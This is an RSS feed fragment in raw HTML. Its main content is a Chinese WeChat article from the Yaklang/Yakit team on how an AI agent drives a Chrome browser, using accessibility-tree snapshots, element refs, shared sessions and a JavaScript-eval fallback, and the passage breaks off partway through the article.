0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><img class="rich_pages wxw-img"/></span></p><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img"/></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=db865bf9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529965%26idx%3D1%26sn%3De5a48fc131aab324e326ec759ac71fdc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 03 Jul 2026 17:53:00 +0800</pubDate>
    </item>
    <item>
      <title>让 AI 真正「看懂」网页：Memfit 浏览器自动化实践</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529951&amp;idx=1&amp;sn=ef03392f48b31e647e62ccc2eb8652e5</link>
      <description>重构浏览器自动化逻辑，AI 驱动 Web 操作的架构解法与项目实战</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-06-26 17:05</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fd9907c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72GDibx4jlsI6oPVzoYU3pEdlzTrKMPbZLFicmTTeFNFYdzwfgPwJ7NlaRQBibp5vweHicRyibIfAToUbPnHuOicZPMHP2DgwodgNaW14%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>重构浏览器自动化逻辑，AI 驱动 Web 操作的架构解法与项目实战</p>
  <p style="margin-bottom: 8px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></p><p style="margin-bottom: 8px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100044012" src="https://wechat2rss.xlab.app/img-proxy/?k=0110af17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZcVxc97CICgP9lgUqwmuwDUexITo4H4zK76YASJx2GibdZaOvZic9diaqUlcBRkwHNxjxrpwRTPnuQ9Q%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></p><blockquote><p style="margin-bottom: 8px;"><span leaf="">本文分享 Yaklang 项目中 AI Agent 驱动浏览器完成 Web 操作的设计思路与实战经验。</span></p></blockquote><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;margin-bottom: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">一、背景与整体架构</span></strong></p></div></div></div><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;" data-pm-slice="0 0 []"><span mpa-font-style="mqubj88je5k"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">传统浏览器自动化面向</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">程序员</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——写选择器、处理等待、维护脚本。AI Agent 面对的是</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">自然语言任务</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（登录后台、验证越权、抓取内容），面临三个矛盾：</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">页面如何被 AI 理解</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">、</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">元素如何被稳定定位</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">、</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">多轮对话如何维持浏览器会话</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></span></p><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在 Yakit 中的解法是插入一层 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「</span></span></strong><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI</span></span></strong><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 可读」的浏览器中间件</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">无障碍树 Snapshot 供 AI 读结构，短 ref（</span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">@e1</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">）供 AI 点元素，Session 让多次工具调用共享同一 Chrome。</span></span></p><table style="border-collapse:collapse;min-width:244px;"><tbody><tr><td data-colwidth="219"><p style="line-height: 1em;text-align: center;"><span leaf="" mpa-font-style="mqubm2dg1o60" style="font-size: 15px;" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">层级</span></span></p></td><td><p style="line-height: 1em;text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="font-weight: bold;">职责</span></span></p></td></tr><tr><td data-colwidth="219"><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mqubn16jujd" style="font-size: 15px;" data-pm-slice="0 0 []">Agent</span></p></td><td><p style="margin-bottom: 0px;"><span leaf="" style="font-size: 15px;">拆解任务、选工具、读输出、决策下一步</span></p></td></tr><tr><td data-colwidth="219"><p style="margin-bottom: 0px;"><span leaf="" style="font-size: 15px;">use_browser</span></p></td><td><p style="margin-bottom: 0px;"><span leaf="" style="font-size: 15px;">统一 op 入口，翻译为浏览器操作</span></p></td></tr><tr><td data-colwidth="219"><p style="margin-bottom: 0px;"><span leaf="" style="font-size: 15px;">browser 模块</span></p></td><td><p style="margin-bottom: 0px;"><span leaf="" style="font-size: 15px;">实例管理、Snapshot、ref 映射、CDP 执行</span></p></td></tr><tr><td data-colwidth="219"><p style="margin-bottom: 0px;"><span leaf="" style="font-size: 15px;">Chrome</span></p></td><td><p style="margin-bottom: 0px;"><span leaf="" style="font-size: 15px;">真实渲染与交互</span></p></td></tr></tbody></table><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8002853067047075" data-type="png" data-w="1402" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1402" data-height="1122" data-imgfileid="100046287" src="https://wechat2rss.xlab.app/img-proxy/?k=27d9ebc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GjpDQoZ2ricib8QYlEcGGlaGZ3IdCT6hh0yfDLQFcQmZribcPtNXeZbzr8QP6XjQXcx63waib8E4MylPxwHUXO8jWBJm18XesOYbs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">二、核心原理</span></strong></p></div></div></div><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">Snapshot + Ref：AI 读结构，不读像素</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mqubovzh1v04"><span mpa-font-style="mqubp9421rda" style="font-size: 15px;"><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">snapshot</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> 返回的是 </span><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Accessibility Tree 文本</span></strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，不是截图。可交互元素带 </span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[ref=eN]</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，Agent 用 </span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">@e3</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> 填表、</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">@e5</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> 点击，底层映射到 DOM 再经 CDP 执行。相比整页 HTML 更省 token，相比截图不依赖多模态模型。</span></span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mqubpjh81xdr" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.562799043062201" data-type="png" data-w="1672" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1672" data-height="941" data-imgfileid="100046291" src="https://wechat2rss.xlab.app/img-proxy/?k=3577b57b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GhEdpaSxhvDGrfY5vNVconaVNbp8jul9nGNeS9SRmETIZS02DyeYerJ02Vwm1NcAoNzwtNNwY92RPrmxxSiaQCA54V9SHayRicA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">交互循环与双策略</span></span></strong></span></p></div></div></div></div></div><h3 style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">典型流程：</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">open → snapshot → fill/click → 验证 → close</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">Agent 通过 Tool Call 间接驱动 Chrome；同一 </span></span><strong><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">session</span></span></code></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（默认 </span></span><code style="text-indent: 0px;line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqucg2a51jya" data-mpa-action-id="mqucg2ae1jel" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">ai-browser</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">）跨轮次复用 Cookie 与登录态。任务涉及浏览器时会加载 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Skill</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（如 </span></span><code style="text-indent: 0px;line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">how-to-use-browser</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">），注入操作策略。</span></span></h3><table style="border-collapse:collapse;min-width:240px;"><tbody><tr><td data-colwidth="190"><p style="margin-bottom: 0px;line-height: 1em;text-align: center;"><span leaf="" mpa-font-style="mqubqur21ji6" style="font-size: 15px;" data-mpa-action-id="mqubqurb1ge5" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;font-weight: bold;">策略</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;font-weight: bold;">流程</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1.6em;text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;font-weight: bold;">适用</span></span></p></td></tr><tr><td data-colwidth="190"><p style="margin-bottom: 0px;line-height: 1em;text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;font-weight: bold;">A：Snapshot + Ref</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;font-weight: normal;">open → snapshot → 用 ref 操作 → 变化后重 snapshot</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;font-weight: normal;">静态 HTML，首次 snapshot 有 ref</span></span></p></td></tr><tr><td data-colwidth="190"><p style="margin-bottom: 0px;line-height: 1em;text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;font-weight: bold;">B：JavaScript 优先</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;font-weight: normal;">open → eval 探表/填表/提交 → eval 或 get 验证</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;font-weight: normal;">SPA、登录表单、snapshot 返回 0 ref</span></span></p></td></tr></tbody></table><p style="margin: 0px 8px 8px;" data-mpa-action-id="mquckno77w2" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mqucknny9r4"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">铁律</span></span></span><span style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mqucknnywvb"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">：</span>0 ref 时不要反复 snapshot，立刻切 eval 或 CSS 选择器。</span></span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mqubsz7h1r7b" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.75" data-type="png" data-w="1448" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1448" data-height="1086" data-imgfileid="100046289" src="https://wechat2rss.xlab.app/img-proxy/?k=6538daba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FTmiapAN04IRmZ5bgocicTksayOdtVBT9ST8ymicrQID67iaYZS72jUztaHRzE3goM4jT5waweefcictaSNkZk0LzFtDuNc9LTMxbo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div 